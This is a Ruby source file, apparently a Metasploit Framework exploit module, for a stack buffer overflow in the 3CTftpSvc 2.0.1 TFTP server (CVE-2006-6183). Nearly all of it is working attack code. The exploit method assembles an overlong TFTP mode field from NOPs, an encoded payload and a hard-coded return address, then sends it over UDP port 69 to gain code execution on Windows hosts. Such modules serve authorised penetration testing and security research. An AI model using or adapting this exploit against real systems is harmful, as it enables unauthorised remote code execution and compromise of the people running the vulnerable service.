66 lines
1.7 KiB
Ruby
66 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
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sending a specially crafted packet with an overly long mode
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field, a remote attacker could overflow a buffer and execute
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arbitrary code on the system.
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},
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'Author' => 'MC',
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'References' =>
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[
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['CVE', '2006-6183'],
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['OSVDB', '30758'],
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['BID', '21301'],
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['URL', 'http://secunia.com/advisories/23113/'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 27 2006'))
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register_options([Opt::RPORT(69)], self.class)
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end
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def exploit
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connect_udp
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sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
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sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
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print_status("Trying target #{target.name}...")
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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